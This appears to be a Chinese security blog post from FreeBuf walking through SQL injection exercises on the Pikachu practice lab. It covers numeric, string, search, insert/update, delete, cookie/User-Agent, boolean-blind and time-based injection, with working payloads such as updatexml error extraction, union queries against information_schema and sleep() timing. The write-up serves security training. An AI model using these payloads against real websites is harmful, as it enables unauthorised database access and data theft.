freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

皮卡丘注入实战
2024-01-29 09:26:06

选择使用or 还是 and 的时候要注意都试一下  因为1’ and ‘1’=’1  因为1是存在的所以and用的时候能使条件为1 而0’ or ‘1’=’1因为0不存在只能用or使条件为1。

一. 数字型注入

1. 数字型注入(注:数字型注入判断/1 /0  他不需要’ ‘’ 闭合)

2. 选择一个id,然后进行抓包,放入重放

3. 因为重放包里面不好判断回显,这里我们选择hackbar 将post里面的数据放入hackbar

4. 然后1/1  1/0 看回显 发现回显不一样

/1

/0

5. 然后直接使用盲注 if()函数  if(1=1,1,0)----->if(mid(user(),1,1)='a',1,0)对a进行爆破

6. 这里也可以用报错注入 因为是字符型不用单引号闭合

1 and updatexml(1,concat(0x7e,database(),0x7e),1)=1

二. 字符型注入

1. 字符型注入(注:字符型判断’‘’  需要’ ‘’ 闭合)

找到与数据库交互的参数,下面一看就是

2. 输入111 然后进行抓包 ‘  ’‘   判断是否存在注入

单引号是30970

双引号是33675

3. 所以这里存在注入 然后构造payload:111'+or+mid(user(),1,1)!='a   进行爆破

一步一步构造出来 1’+or+’1’=’1 poc有回显

爆破出来第一位用户名为R r

4. 因为单引号会报错,所以可以试试报错注入

1’ and updatexml(1,concat(0x7e,database(),0x7e),1)=’1

因为是字符型,所以要单引号闭合

所以可以显示出数据库名

三. 搜索型注入

1. 首先输入1 发现有数据 所以这里可以用and

判断 单引号 双引号 发现回显不一样(自己手工测试)

构造poc : 1’ and ‘1’=’1   1’ and ‘1’=’2  看看回显不一样

2.

1’ and ‘1’!=’1 回显是不一样但你能发现 1’ and ‘1’=’2 与 1’ and ‘1’=’1 回显是一样的

为什么勒?

因为查询语句可能是这样的 select * from * where id=’          and 1=99’

字符1’ and ‘1’=’1是要与后面的单引号闭合 但是他可能1后面还有语句

select * from * where id=’   1’ and ‘1’=’1       and 1=99’ 这样查看的语句就和1’ and ‘1’=’2

回显是一样的

所以这里我们用 1’ or 1=1 #  或者  1’ or ‘1’=’1’ #  回显不一样爆破数据库

1’ or 1=1 #

1’ or 1=2 #

3.爆破数据名就不爆破了,其实都一样  字符型需要闭合

这里我们试试报错注入   1' and updatexml(1,concat(0x7e,database(),0x7e),1)=1#

四. XX型注入

有点特别这里 数据库里面语句是 where id=(‘’)

1. 第一步单引号:

根据这句话就可以看出来刚刚的特别

两个单引号:回显正常Payload:  ')  union select database(),2  # 就可以判断出用户名了

2.

3. 所以为了构造sql语句,这里要闭合where id=(‘’)里面的(‘

输入’) #  相当于where id=(‘    ‘)#  ’)

闭合后里面就可以 添加sql语句 这里用联合查询

输入’) #   发现闭合 没有报错

4. 联合注入

首先’ ) order by 1  # 判断有几个字段

’ ) order by 2  # 回显正常

’ ) order by 3  # 回显不正常  说明有2个字段

然后用联合查询 ‘)  union select 1,2 # 看看里面数据发现有1 2

说明联合会对1 2 这几个数字查询  是关键数字 让他们替换成database()就可以查

‘)  union select 1,database() #

2上面的位置就显示出数据库名

然后使用sql语句查询数据库中表名

‘) union select 1,group_concat(table_name)   from information_schema.tables where table_schema=database() #

然后查表里面的字段

‘ )  union select 1,group_concat(column_name),3 from information_schema.columns where table_name="message" #

然后查询查询表里面的字段信息id content:

')  union select content,id  from message #

五. Inset/update型注入

1.点击注册 里面有注入

2. 单引号 双引号判断用户名存在注入

3. 这里可以用报错注入 字符型

1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=’1#

但是为什么1’+and+updatexml(1,concat(0x7e,database(),0x7e),1)=1 # 没有显示就很奇怪

六. Detete型注入

1. 听名字就知道,是删除存在注入

点击删除哪里存在注入

先/1 /0  发现是数字型注入  其实单引号双引号也会报错

/1页面正常

/0 页面不正常

2. 所以可以使用盲注和报错注入,盲注跟之前一样的

报错注入payload:1+or+updatexml(1,concat(0x7e,database(),0x7e),1)=1

数据库名出来了

七. http头 注入

登陆进去admin 123456 然后刷新抓包

里面有注入点

1. 首先cookie里面明文传输,admin存在注入

Admin’

Admin’’

2. 这里也是盲注,我就不多说了,和前面一样

这里也有报错注入:admin'+or+updatexml(1,concat(0x7e,database(),0x7e),1)='1

然后就可以看到数据库名

3. 其实这里还有一个地方存在注入

User-Agent:’

User-Agent:’’

4.然后这里步骤是一样,只是注入点有点离谱

八.盲注base on boolan头 注入

1.这里依旧是查询宽,不用说存在注入,主要怎么去判断

这里用到exp(709)一个计数函数超过exp(710)就会报错

‘-exp(709)-’

'-exp(710)-' 就会报错 存在回显就可能有注入

3. 构造payload:'-if(1=1,exp(999),0)-'  后面怎么爆破数据库名我就不说了,都一样

主要是判断  --是注释符 中间加函数可以被强制执行  所以用来构造payload

为什么'-if(1=1,exp(999),0)-# 不会报错是因为mysql是弱类型  -是减号会将#变成int(#)就达不到注释的作用

所以'-if(1=1,exp(999),0)#  就可以达到效果

还有'/if(1=1,exp(999),0)/'  '+if(1=1,exp(999),0)+'  为什么要这样加这个主要让数据库去计算

从而达到回显不一样的效果

4. 这里还可以用 其实’  ‘’判断注入是判断不出来的 所以每一个与数据库交互的地方都要去试一下 1’ or ‘1’=’1  有的没有报错也可能存在注入用poc:1’ or ‘1’=’1 和1’ or ‘1’=’2去看看有没有回显

1' or 1=1 limit 1 #(经验所制)

1' or 1=2 limit 1 #(经验所制)

九.盲注 时间sleep()  注入

1' or sleep(1) # 因为单引号 双引号 不能判断回显不一样 所以选择了sleep()

Payloa:

2. 这里主要是爆破里面怎么看 回显不一样

1)第一步首先线程调到最低1 因为爆破太快 反应的时间也会变多 免得干扰

2)将5 改成 1线程

3)爆破的时候,也要显示时间

以下调节时间精度

然后就可以很明显看出来是哪个数据库名第一位了

# 数据安全
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录